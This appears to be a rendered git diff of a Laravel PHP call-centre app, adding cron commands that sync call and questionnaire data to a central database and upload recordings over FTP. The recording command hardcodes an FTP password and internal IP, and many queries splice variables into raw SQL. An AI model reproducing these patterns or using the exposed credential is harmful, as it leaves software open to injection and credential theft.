| 47 | $questionaire = "questionaire_details_".date("d_m_Y"); | 46 | $questionaire = "questionaire_details_".date("d_m_Y"); |
| 48 | //$questionaire = "questionaire_details_23_06_2017"; | 47 | $server_ip=env('app_ip'); |
| 48 | $central_ip=env('central_ip'); | ||
| 49 | 49 | ||
| 50 | $conn = array( | 50 | $conn = array( |
| 51 | 'driver' => 'mysql', | 51 | 'driver' => 'mysql', |
| 52 | 'host' => '10.3.177.14', | 52 | 'host' => $central_ip, |
| 53 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | 53 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), |
| 54 | 'username' => env('DB_USERNAME', 'root'), | 54 | 'username' => env('DB_USERNAME', 'root'), |
| 55 | 'password' => env('DB_PASSWORD', ''), | 55 | 'password' => env('DB_PASSWORD', ''), |
| ... | @@ -65,6 +65,11 @@ class questionnaire_details extends Command { | ... | @@ -65,6 +65,11 @@ class questionnaire_details extends Command { |
| 65 | 65 | ||
| 66 | if(DB::connection("conn")->getDatabaseName()) | 66 | if(DB::connection("conn")->getDatabaseName()) |
| 67 | { | 67 | { |
| 68 | $serverclist=DB::connection("conn")->select(DB::raw("select id from server_details where server_ip='$server_ip'")); | ||
| 69 | $server_id=$serverclist[0]->id; | ||
| 70 | if($server_id<10){ | ||
| 71 | $server_id="0".$server_id; | ||
| 72 | } | ||
| 68 | 73 | ||
| 69 | echo ",".$server_id; | 74 | echo ",".$server_id; |
| 70 | 75 | ||
| ... | @@ -73,6 +78,8 @@ class questionnaire_details extends Command { | ... | @@ -73,6 +78,8 @@ class questionnaire_details extends Command { |
| 73 | $maxids=$maxid[0]->maxid; | 78 | $maxids=$maxid[0]->maxid; |
| 74 | 79 | ||
| 75 | 80 | ||
| 81 | //$qlist=DB::select(DB::raw("SELECT * from questionaire_details where id>'$maxids'")); | ||
| 82 | |||
| 76 | $qlist=DB::select(DB::raw("SELECT * from questionaire_details where id>'$maxids' and created_at>'".date("Y-m-d")."' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); | 83 | $qlist=DB::select(DB::raw("SELECT * from questionaire_details where id>'$maxids' and created_at>'".date("Y-m-d")."' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); |
| 77 | 84 | ||
| 78 | $userarr=array(); | 85 | $userarr=array(); | ... | ... |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class recording_reconcilation extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'recording_reconcilation'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'recording_reconcilation'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 41 | |||
| 42 | $logdate=strtotime(date('Y-m-d')." 00:00:00"); | ||
| 43 | //$logdate=strtotime("-1 days"." 00:00:00"); | ||
| 44 | $logtodate=strtotime(date('Y-m-d')." 23:59:59"); | ||
| 45 | //$logtodate=strtotime("-1 days"." 23:59:59"); | ||
| 46 | $server_ip=env('app_ip'); | ||
| 47 | $central_ip=env('central_ip'); | ||
| 48 | |||
| 49 | $reporthead=array("id","server_ip","call_id","call_start_date","call_start_time","call_duration","DNIS","ANI","call_direction","cti_var1","cti_var2","cti_var4","transfer_status","recording_filename"); | ||
| 50 | |||
| 51 | $ftp_server="10.3.177.14"; | ||
| 52 | $ftp_user_name="buzzworks"; | ||
| 53 | $ftp_user_pass="0per@ti0n@1"; | ||
| 54 | $conn_id = ftp_connect($ftp_server); | ||
| 55 | |||
| 56 | // login with username and password | ||
| 57 | $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); | ||
| 58 | |||
| 59 | |||
| 60 | $conn = array( | ||
| 61 | 'driver' => 'mysql', | ||
| 62 | 'host' => $central_ip, | ||
| 63 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 64 | 'username' => env('DB_USERNAME', 'root'), | ||
| 65 | 'password' => env('DB_PASSWORD', ''), | ||
| 66 | 'charset' => 'utf8', | ||
| 67 | 'collation' => 'utf8_unicode_ci', | ||
| 68 | 'prefix' => '', | ||
| 69 | 'options' => array( | ||
| 70 | PDO::ATTR_TIMEOUT => 5, | ||
| 71 | ), | ||
| 72 | ); | ||
| 73 | Config::set("database.connections.conn", $conn); | ||
| 74 | |||
| 75 | |||
| 76 | if(DB::connection("conn")->getDatabaseName()) | ||
| 77 | { | ||
| 78 | //check maximum id saved in the table | ||
| 79 | $maxid=DB::connection("conn")->select(DB::raw("SELECT max(call_id) as maxid from recording_reconcilation where server_ip='$server_ip'")); | ||
| 80 | if($maxid)$maxids=$maxid[0]->maxid; | ||
| 81 | |||
| 82 | echo "\n"."maxids---".$maxids."\n"; | ||
| 83 | echo "\n".date("Y-m-d H:i:s",$logdate)."\n"; | ||
| 84 | echo "\n".date("Y-m-d H:i:s",$logtodate)."\n"; | ||
| 85 | |||
| 86 | //query for calllog and recording | ||
| 87 | /*$qlist=DB::table('crmcalls')->select('*')->where('id','>','$maxid')->where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logtodate))->get();*/ | ||
| 88 | $qlist=DB::table('crmcalls')->select('*')->where('id','=','1079409')->get(); | ||
| 89 | |||
| 90 | //create csv file | ||
| 91 | $ii=1; | ||
| 92 | $fileName = 'recording_Excel_'.date("Y-m-d",$logdate); | ||
| 93 | $fileName=storage_path().'/recording_excel/'.$fileName .'.csv'; | ||
| 94 | $filesave = fopen($fileName, 'w'); | ||
| 95 | fputcsv($filesave, $reporthead); | ||
| 96 | |||
| 97 | $userdatavalue=""; | ||
| 98 | foreach ($qlist as $qline) | ||
| 99 | { | ||
| 100 | |||
| 101 | $fulldate=date("Y-m-d H:i:s",strtotime($qline->created_at)+330*60); | ||
| 102 | //$talktime=$qline->talkSec+$qline->recstartSec+$qline->recendSec; | ||
| 103 | //$length=round(($qline->waitSec+$qline->callSec+$talktime+$qline->dispoSec)/1000,2); | ||
| 104 | $length=round(($qline->talkSec+$qline->recstartSec+$qline->recendSec)/1000,2); | ||
| 105 | echo "\n"."startdate--".explode(" ",$fulldate)[0]."\n"; | ||
| 106 | echo "\n"."starttime--".explode(" ",$fulldate)[1]."\n"; | ||
| 107 | echo "\n"."call duration--". $length."\n"; | ||
| 108 | $userdatavalue=""; | ||
| 109 | |||
| 110 | $userdata=json_decode($qline->userdata,true); | ||
| 111 | |||
| 112 | //print_r(array_values($userdata)); | ||
| 113 | if($userdata) | ||
| 114 | { | ||
| 115 | if(array_values($userdata)!=""||array_values($userdata)!=null) | ||
| 116 | { | ||
| 117 | $userdatavalue=implode(",",array_values($userdata)); | ||
| 118 | } | ||
| 119 | else | ||
| 120 | { | ||
| 121 | $userdatavalue=""; | ||
| 122 | } | ||
| 123 | } | ||
| 124 | |||
| 125 | |||
| 126 | |||
| 127 | |||
| 128 | |||
| 129 | |||
| 130 | $setstrarr=array(); | ||
| 131 | $setstrarr[]="server_ip='$server_ip'"; | ||
| 132 | $setstrarr[]="call_id='$qline->id'"; | ||
| 133 | $setstrarr[]="call_start_date='".explode(" ",$fulldate)[0]."'"; | ||
| 134 | $setstrarr[]="call_start_time='".explode(" ",$fulldate)[1]."'"; | ||
| 135 | $setstrarr[]="call_duration='$length'"; | ||
| 136 | $setstrarr[]="DNIS='$qline->did'"; | ||
| 137 | $setstrarr[]="ANI='$qline->number'"; | ||
| 138 | $setstrarr[]="call_direction='$qline->type'"; | ||
| 139 | $setstrarr[]="cti_var1='$userdatavalue'"; | ||
| 140 | $setstrarr[]="cti_var2='$qline->client'"; | ||
| 141 | $setstrarr[]="cti_var4='$qline->crm_id'"; | ||
| 142 | |||
| 143 | |||
| 144 | //send recording file to server | ||
| 145 | $file = storage_path()."/app/drec/2017-09/".$qline->id.".gsm";//tobe uploaded | ||
| 146 | //$remote_file = "/home/buzzworks/recording_test"; | ||
| 147 | $remote_file = "recording_test/".$server_ip."_".$qline->id.".wav"; | ||
| 148 | /*$out='wav'; | ||
| 149 | |||
| 150 | header("Content-type: audio/x-$out"); | ||
| 151 | header("Content-disposition: attachment; filename=\"".basename($file).".$out\""); | ||
| 152 | $descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w")); | ||
| 153 | $process = proc_open( "/usr/bin/sox $file /tmp/".basename($file).".$out", $descriptorspec, $pipes ); | ||
| 154 | while( stream_get_contents( $pipes[1] )); | ||
| 155 | header("Content-length: ".filesize("/tmp/".basename($file).".$out")); | ||
| 156 | readfile("/tmp/".basename($file).".$out");unlink("/tmp/".basename($file).".$out"); | ||
| 157 | fclose( $pipes[1] ); | ||
| 158 | fclose( $pipes[2] );*/ | ||
| 159 | |||
| 160 | // set up basic connection | ||
| 161 | |||
| 162 | |||
| 163 | if($login_result) | ||
| 164 | { | ||
| 165 | echo "Successfully connect"; | ||
| 166 | if (file_exists($file)) | ||
| 167 | { | ||
| 168 | echo "The file $file exists"; | ||
| 169 | if(ftp_put($conn_id, $remote_file, $file, FTP_BINARY)) | ||
| 170 | { | ||
| 171 | echo "successfully uploaded $file\n"; | ||
| 172 | $setstrarr[]="transfer_status='success'"; | ||
| 173 | $setstrarr[]="recording_filename='$remote_file'"; | ||
| 174 | $success_fail="success"; | ||
| 175 | |||
| 176 | $setstr=implode(",",$setstrarr); | ||
| 177 | DB::connection("conn")->insert(DB::raw("insert into recording_reconcilation set $setstr")); | ||
| 178 | $data=array($ii++,$server_ip,$qline->id,explode(" ",$fulldate)[0],explode(" ",$fulldate)[1],$length,$qline->did,$qline->number,$qline->type,$userdatavalue,$qline->client,$qline->crm_id,$success_fail,$remote_file); | ||
| 179 | |||
| 180 | |||
| 181 | fputcsv($filesave, $data); | ||
| 182 | } | ||
| 183 | else | ||
| 184 | { | ||
| 185 | echo "There was a problem while uploading $file\n"; | ||
| 186 | $setstrarr[]="transfer_status='fail'"; | ||
| 187 | $success_fail="fail"; | ||
| 188 | } | ||
| 189 | } | ||
| 190 | else | ||
| 191 | { | ||
| 192 | |||
| 193 | echo "The file $file does not exist"; | ||
| 194 | $setstrarr[]="transfer_status='file does not exist'"; | ||
| 195 | $success_fail="file does not exist"; | ||
| 196 | } | ||
| 197 | } | ||
| 198 | else | ||
| 199 | { | ||
| 200 | echo "not connect to server"; | ||
| 201 | } | ||
| 202 | // close the connection | ||
| 203 | } | ||
| 204 | |||
| 205 | echo "file save\n"; | ||
| 206 | fclose($filesave); | ||
| 207 | ftp_close($conn_id); | ||
| 208 | |||
| 209 | //send csv file to ftp server | ||
| 210 | $conn_id_csv = ftp_connect($ftp_server); | ||
| 211 | $remote_filecsv = "recording_excel/".$server_ip."_".date("Y-m-d",$logdate).".csv"; | ||
| 212 | $login_result_csv = ftp_login($conn_id_csv, $ftp_user_name, $ftp_user_pass); | ||
| 213 | |||
| 214 | if($login_result_csv) | ||
| 215 | { | ||
| 216 | if (file_exists($fileName)) | ||
| 217 | { | ||
| 218 | echo "The file $fileName exists\n"; | ||
| 219 | if(ftp_put($conn_id_csv, $remote_filecsv, $fileName, FTP_BINARY)) | ||
| 220 | { | ||
| 221 | echo "successfully uploaded $fileName\n"; | ||
| 222 | } | ||
| 223 | else | ||
| 224 | { | ||
| 225 | echo "There was a problem while uploading $fileName\n"; | ||
| 226 | } | ||
| 227 | } | ||
| 228 | else | ||
| 229 | { | ||
| 230 | echo "The file $fileName does not exist"; | ||
| 231 | } | ||
| 232 | } | ||
| 233 | else | ||
| 234 | { | ||
| 235 | echo "not connect to server"; | ||
| 236 | } | ||
| 237 | |||
| 238 | |||
| 239 | ftp_close($conn_id_csv); | ||
| 240 | DB::connection("conn")->disconnect(); | ||
| 241 | } | ||
| 242 | } | ||
| 243 | } | ||
| 244 | |||
| 245 | ?> | ||
| 246 | |||
| 247 |
application/app/Console/13jul17_Commands/records_details.php
→
application/app/Console/181017_Commands/records_details.php
100755 → 100644
| ... | @@ -38,21 +38,14 @@ class records_details extends Command { | ... | @@ -38,21 +38,14 @@ class records_details extends Command { |
| 38 | { | 38 | { |
| 39 | $nowts=time(); | 39 | $nowts=time(); |
| 40 | echo "\n".date('Y-m-d')."\n"; | 40 | echo "\n".date('Y-m-d')."\n"; |
| 41 | 41 | $server_ip=env('app_ip'); | |
| 42 | 42 | $central_ip=env('central_ip'); | |
| 43 | //$slist=DB::connection("conn")->select(DB::raw("select * from server_details where type='COP' and id='1'")); | ||
| 44 | |||
| 45 | //$slist=DB::select(DB::raw("select * from server_details where type='COP' and id>'27' and id!='54'")); | ||
| 46 | |||
| 47 | $server_ip='10.3.179.121'; | ||
| 48 | $location='mumbai'; | ||
| 49 | $conn=''; | 43 | $conn=''; |
| 50 | |||
| 51 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 44 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| 52 | 45 | ||
| 53 | $conn = array( | 46 | $conn = array( |
| 54 | 'driver' => 'mysql', | 47 | 'driver' => 'mysql', |
| 55 | 'host' => '10.3.177.14', | 48 | 'host' => $central_ip, |
| 56 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | 49 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), |
| 57 | 'username' => env('DB_USERNAME', 'root'), | 50 | 'username' => env('DB_USERNAME', 'root'), |
| 58 | 'password' => env('DB_PASSWORD', ''), | 51 | 'password' => env('DB_PASSWORD', ''), |
| ... | @@ -68,12 +61,16 @@ class records_details extends Command { | ... | @@ -68,12 +61,16 @@ class records_details extends Command { |
| 68 | 61 | ||
| 69 | if(DB::connection("conn")->getDatabaseName()) | 62 | if(DB::connection("conn")->getDatabaseName()) |
| 70 | { | 63 | { |
| 64 | $serverclist=DB::connection("conn")->select(DB::raw("select id,location from server_details where server_ip='$server_ip'")); | ||
| 65 | $server_id=$serverclist[0]->id; | ||
| 66 | if($server_id<10){ | ||
| 67 | $server_id="0".$server_id; | ||
| 68 | } | ||
| 69 | $location=$serverclist[0]->location; | ||
| 71 | 70 | ||
| 72 | echo ",".$server_ip; | 71 | echo ",".$server_ip; |
| 73 | 72 | ||
| 74 | $qlist=DB::select(DB::raw("SELECT id,clientcode,client,status,clientinternalid,mobile,priority,modified,question,firstname FROM `records`")); | 73 | $qlist=DB::select(DB::raw("SELECT id,clientcode,client,status,clientinternalid,mobile,priority,modified,question,firstname FROM `records`")); |
| 75 | |||
| 76 | |||
| 77 | $datainser=''; | 74 | $datainser=''; |
| 78 | foreach($qlist as $qline) | 75 | foreach($qlist as $qline) |
| 79 | { | 76 | { |
| ... | @@ -90,7 +87,7 @@ class records_details extends Command { | ... | @@ -90,7 +87,7 @@ class records_details extends Command { |
| 90 | $firstname=$qline->firstname; | 87 | $firstname=$qline->firstname; |
| 91 | 88 | ||
| 92 | 89 | ||
| 93 | DB::connection("conn")->insert(DB::raw("insert into records_details_server_1 set client='$client', server_ip='$server_ip', record_id='$record_id', cust_id='$clientcode', records_status='$status', group_id='$clientinternalid', location='$location',mobile='$mobile',question='$question',firstname='$firstname',priority='$priority',modified='$modified'")); | 90 | DB::connection("conn")->insert(DB::raw("insert into records_details set client='$client', server_ip='$server_ip', record_id='$record_id', cust_id='$clientcode', records_status='$status', group_id='$clientinternalid', location='$location',mobile='$mobile',question='$question',firstname='$firstname',priority='$priority',modified='$modified'")); |
| 94 | 91 | ||
| 95 | 92 | ||
| 96 | } | 93 | } |
| ... | @@ -99,7 +96,7 @@ class records_details extends Command { | ... | @@ -99,7 +96,7 @@ class records_details extends Command { |
| 99 | } | 96 | } |
| 100 | } | 97 | } |
| 101 | 98 | ||
| 102 | } | 99 | } |
| 103 | 100 | ||
| 104 | 101 | ||
| 105 | 102 | ... | ... |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | //use Mail; | ||
| 5 | use DB; | ||
| 6 | use Config; | ||
| 7 | |||
| 8 | use App\Models\User; | ||
| 9 | use App\Models\Accesslog; | ||
| 10 | |||
| 11 | use App\Models\CRMCall; | ||
| 12 | use Schema; | ||
| 13 | use PDO; | ||
| 14 | use App\Models\Notification; | ||
| 15 | use App\Jobs\KHRMSLib; | ||
| 16 | |||
| 17 | use Input; | ||
| 18 | use App\Models\Sipid; | ||
| 19 | use App\Models\Kqueue; | ||
| 20 | use App\Models\Dialline; | ||
| 21 | use App\Models\Session; | ||
| 22 | |||
| 23 | use Illuminate\Database\Schema\Blueprint; | ||
| 24 | |||
| 25 | class relationship_data extends Command { | ||
| 26 | |||
| 27 | /** | ||
| 28 | * The console command name. | ||
| 29 | * | ||
| 30 | * @var string | ||
| 31 | */ | ||
| 32 | protected $signature = 'relationship_data'; | ||
| 33 | |||
| 34 | /** | ||
| 35 | * The console command description. | ||
| 36 | * | ||
| 37 | * @var string | ||
| 38 | */ | ||
| 39 | protected $description = 'relationship_data'; | ||
| 40 | |||
| 41 | /** | ||
| 42 | * Execute the console command. | ||
| 43 | * | ||
| 44 | * @return mixed | ||
| 45 | */ | ||
| 46 | public function handle() | ||
| 47 | { | ||
| 48 | echo 'Start'; | ||
| 49 | |||
| 50 | $local_data=DB::select(DB::raw("SELECT mvalue FROM `hrms_masters` where mid='1'")); | ||
| 51 | $local_data_value=$local_data[0]->mvalue; | ||
| 52 | |||
| 53 | echo "Hrms core data----".$local_data_value; | ||
| 54 | |||
| 55 | if(is_array($local_data_value)) $core_data_value= array_map(__METHOD__, $local_data_value); | ||
| 56 | |||
| 57 | if(!empty($local_data_value) && is_string($local_data_value)) { | ||
| 58 | $core_data_value = str_replace(array('\\', "\0", "\n", "\r", "'", '"', "\x1a"), array('\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z'), $local_data_value); | ||
| 59 | |||
| 60 | echo "core data value replace".$core_data_value; | ||
| 61 | } | ||
| 62 | |||
| 63 | |||
| 64 | |||
| 65 | DB::update(DB::raw("UPDATE hrms_masters_demo SET mvalue='$core_data_value' WHERE mid='1'")); | ||
| 66 | |||
| 67 | echo 'End'; | ||
| 68 | } | ||
| 69 | } | ||
| 70 | |||
| 71 | |||
| 72 | |||
| 73 |
application/app/Console/Kernel_010117.php
→
application/app/Console/181017_Kernel.php
100755 → 100644
| ... | @@ -6,52 +6,91 @@ use Illuminate\Foundation\Console\Kernel as ConsoleKernel; | ... | @@ -6,52 +6,91 @@ use Illuminate\Foundation\Console\Kernel as ConsoleKernel; |
| 6 | class Kernel extends ConsoleKernel | 6 | class Kernel extends ConsoleKernel |
| 7 | { | 7 | { |
| 8 | 8 | ||
| 9 | /** | 9 | /** |
| 10 | * The Artisan commands provided by your application. | 10 | * The Artisan commands provided by your application. |
| 11 | * | 11 | * |
| 12 | * @var array | 12 | * @var array |
| 13 | */ | 13 | */ |
| 14 | protected $commands = [ | 14 | protected $commands = [ |
| 15 | 'App\Console\Commands\KstychDaily', | 15 | 'App\Console\Commands\KstychDaily', |
| 16 | 'App\Console\Commands\KstychPAMI', | 16 | 'App\Console\Commands\KstychPAMI', |
| 17 | 'App\Console\Commands\KstychPAGI', | 17 | 'App\Console\Commands\KstychPAGI', |
| 18 | 'App\Console\Commands\DailyLogout', | 18 | 'App\Console\Commands\DailyLogout', |
| 19 | 'App\Console\Commands\bulkServerUpload', | 19 | 'App\Console\Commands\bulkServerUpload', |
| 20 | 'App\Console\Commands\bulkServerUpload_1', | 20 | 'App\Console\Commands\bulkServerUpload_1', |
| 21 | 'App\Console\Commands\bulkServerUpload_2', | 21 | 'App\Console\Commands\bulkServerUpload_2', |
| 22 | 'App\Console\Commands\bulkServerUpload_3', | 22 | 'App\Console\Commands\bulkServerUpload_3', |
| 23 | 'App\Console\Commands\bulkServerUpload_4', | 23 | 'App\Console\Commands\bulkServerUpload_4', |
| 24 | //'App\Console\Commands\bulkServerUpload_5', | 24 | //'App\Console\Commands\bulkServerUpload_5', |
| 25 | 'App\Console\Commands\InsertCrmArchive', | 25 | 'App\Console\Commands\bulkServerUpload_daily', |
| 26 | 'App\Console\Commands\DeleteCrmcalls', | 26 | 'App\Console\Commands\InsertCrmArchive', |
| 27 | ]; | 27 | 'App\Console\Commands\DeleteCrmcalls', |
| 28 | 28 | 'App\Console\Commands\records_details', | |
| 29 | /** | 29 | 'App\Console\Commands\CreportEight', |
| 30 | 'App\Console\Commands\questionnaire_details', | ||
| 31 | 'App\Console\Commands\Userlog_data', | ||
| 32 | 'App\Console\Commands\lead_form_details', | ||
| 33 | 'App\Console\Commands\full_remark_details', | ||
| 34 | 'App\Console\Commands\recording_reconcilation', | ||
| 35 | 'App\Console\Commands\dailyupload_calllog', | ||
| 36 | 'App\Console\Commands\dailyupload_questionaire', | ||
| 37 | 'App\Console\Commands\relationship_data', | ||
| 38 | ]; | ||
| 39 | |||
| 40 | /** | ||
| 30 | * Define the application's command schedule. | 41 | * Define the application's command schedule. |
| 31 | * | 42 | * |
| 32 | * @param \Illuminate\Console\Scheduling\Schedule $schedule | 43 | * @param \Illuminate\Console\Scheduling\Schedule $schedule |
| 33 | * @return void | 44 | * @return void |
| 34 | */ | 45 | */ |
| 35 | protected function schedule(Schedule $schedule) | 46 | protected function schedule(Schedule $schedule) |
| 36 | { | 47 | { |
| 37 | $schedule->command('KstychDaily')->daily()->withoutOverlapping(); | 48 | $schedule->command('KstychDaily')->daily()->withoutOverlapping(); |
| 38 | //$schedule->command('bulkServerUpload')->everyMinute()->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); | 49 | //$schedule->command('bulkServerUpload')->everyMinute()->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); |
| 39 | |||
| 40 | 50 | ||
| 41 | 51 | ||
| 52 | $schedule->command('Userlog_data')->dailyAt('01:10')->appendOutputTo(storage_path()."/reason/Userlog_data.txt")->withoutOverlapping(); | ||
| 42 | 53 | ||
| 43 | $schedule->command('bulkServerUpload')->dailyAt('14:45')->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); | 54 | $schedule->command('bulkServerUpload')->dailyAt('14:45')->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); |
| 44 | $schedule->command('bulkServerUpload_1')->dailyAt('16:18')->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); | 55 | $schedule->command('bulkServerUpload_1')->dailyAt('16:18')->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); |
| 45 | $schedule->command('bulkServerUpload_2')->dailyAt('17:45')->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); | 56 | $schedule->command('bulkServerUpload_2')->dailyAt('17:45')->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); |
| 46 | $schedule->command('bulkServerUpload_3')->dailyAt('19:15')->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); | 57 | $schedule->command('bulkServerUpload_3')->dailyAt('19:15')->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); |
| 47 | $schedule->command('bulkServerUpload_4')->dailyAt('20:45')->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); | 58 | $schedule->command('bulkServerUpload_4')->dailyAt('20:45')->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); |
| 48 | //$schedule->command('bulkServerUpload_5')->dailyAt('22:15')->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); | 59 | //$schedule->command('bulkServerUpload_daily')->everyMinute()->appendOutputTo(storage_path()."/reason/bulkServerUpload_daily.txt")->withoutOverlapping(); |
| 60 | //$schedule->command('bulkServerUpload_daily')->everyMinute()->appendOutputTo(storage_path()."/reason/bulkserver_daily.txt")->withoutOverlapping(); | ||
| 61 | |||
| 62 | $schedule->command('bulkServerUpload_daily')->dailyAt('05:05')->appendOutputTo(storage_path()."/reason/bulkserver_daily.txt")->withoutOverlapping(); | ||
| 63 | $schedule->command('bulkServerUpload_daily')->dailyAt('07:05')->appendOutputTo(storage_path()."/reason/bulkserver_daily.txt")->withoutOverlapping(); | ||
| 64 | $schedule->command('bulkServerUpload_daily')->dailyAt('09:05')->appendOutputTo(storage_path()."/reason/bulkserver_daily.txt")->withoutOverlapping(); | ||
| 65 | $schedule->command('bulkServerUpload_daily')->dailyAt('11:05')->appendOutputTo(storage_path()."/reason/bulkserver_daily.txt")->withoutOverlapping(); | ||
| 66 | $schedule->command('bulkServerUpload_daily')->dailyAt('13:05')->appendOutputTo(storage_path()."/reason/bulkserver_daily.txt")->withoutOverlapping(); | ||
| 67 | |||
| 68 | $schedule->command('dailyupload_questionaire')->dailyAt('19:30')->appendOutputTo(storage_path()."/reason/dailyupload_questionaire.txt")->withoutOverlapping(); | ||
| 69 | $schedule->command('CreportEight')->everyFiveMinutes()->appendOutputTo(storage_path()."/reason/CreportEight.txt")->withoutOverlapping(); | ||
| 70 | |||
| 71 | |||
| 72 | //$schedule->command('CreportEight')->hourly()->appendOutputTo(storage_path()."/reason/CreportEight.txt")->withoutOverlapping(); | ||
| 73 | $schedule->command('questionnaire_details')->hourly()->appendOutputTo(storage_path()."/reason/questionnaire_details.txt")->withoutOverlapping(); | ||
| 49 | 74 | ||
| 50 | $schedule->command('InsertCrmArchive')->hourly()->withoutOverlapping(); | 75 | $schedule->command('InsertCrmArchive')->hourly()->withoutOverlapping(); |
| 51 | $schedule->command('DeleteCrmcalls')->hourly()->withoutOverlapping(); | 76 | $schedule->command('DeleteCrmcalls')->hourly()->withoutOverlapping(); |
| 52 | 77 | ||
| 53 | $schedule->command('DailyLogout')->dailyAt('14:30')->withoutOverlapping(); | 78 | $schedule->command('DailyLogout')->dailyAt('14:30')->withoutOverlapping(); |
| 54 | 79 | ||
| 55 | } | 80 | $schedule->command('lead_form_details')->everyTenMinutes()->appendOutputTo(storage_path()."/reason/lead_form_details.txt")->withoutOverlapping(); |
| 81 | $schedule->command('records_details')->dailyAt('17:45')->appendOutputTo(storage_path()."/reason/records_details.txt")->withoutOverlapping(); | ||
| 82 | //$schedule->command('recording_reconcilation')->everyMinute()->appendOutputTo(storage_path()."/reason/recording_reconcilation.txt")->withoutOverlapping(); | ||
| 83 | |||
| 84 | //$schedule->command('lead_form_details')->everyMinute()->appendOutputTo(storage_path()."/reason/lead_form_details.txt")->withoutOverlapping(); | ||
| 85 | |||
| 86 | $schedule->command('dailyupload_calllog')->dailyAt('19:30')->appendOutputTo(storage_path()."/reason/dailycalllog_records.txt")->withoutOverlapping(); | ||
| 87 | |||
| 88 | //$schedule->command('records_details')->everyMinute()->appendOutputTo(storage_path()."/reason/records_details.txt")->withoutOverlapping(); | ||
| 89 | $schedule->command('full_remark_details')->hourly()->appendOutputTo(storage_path()."/reason/full_remark_details.txt")->withoutOverlapping(); | ||
| 90 | //$schedule->command('questionnaire_details')->everyMinute()->appendOutputTo(storage_path()."/reason/questionnaire_details.txt")->withoutOverlapping(); | ||
| 91 | |||
| 92 | //$schedule->command('relationship_data')->everyMinute()->appendOutputTo(storage_path()."/reason/relationship_data.txt")->withoutOverlapping(); | ||
| 93 | |||
| 94 | } | ||
| 56 | 95 | ||
| 57 | } | 96 | } | ... | ... |
No preview for this file type
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class relationship_tag extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'relationship_tag'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'relationship_tag'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 41 | |||
| 42 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 43 | $server_ip=env('app_ip'); | ||
| 44 | $central_ip=env('central_ip'); | ||
| 45 | |||
| 46 | $conn = array( | ||
| 47 | 'driver' => 'mysql', | ||
| 48 | 'host' => $central_ip, | ||
| 49 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 50 | 'username' => env('DB_USERNAME', 'root'), | ||
| 51 | 'password' => env('DB_PASSWORD', ''), | ||
| 52 | 'charset' => 'utf8', | ||
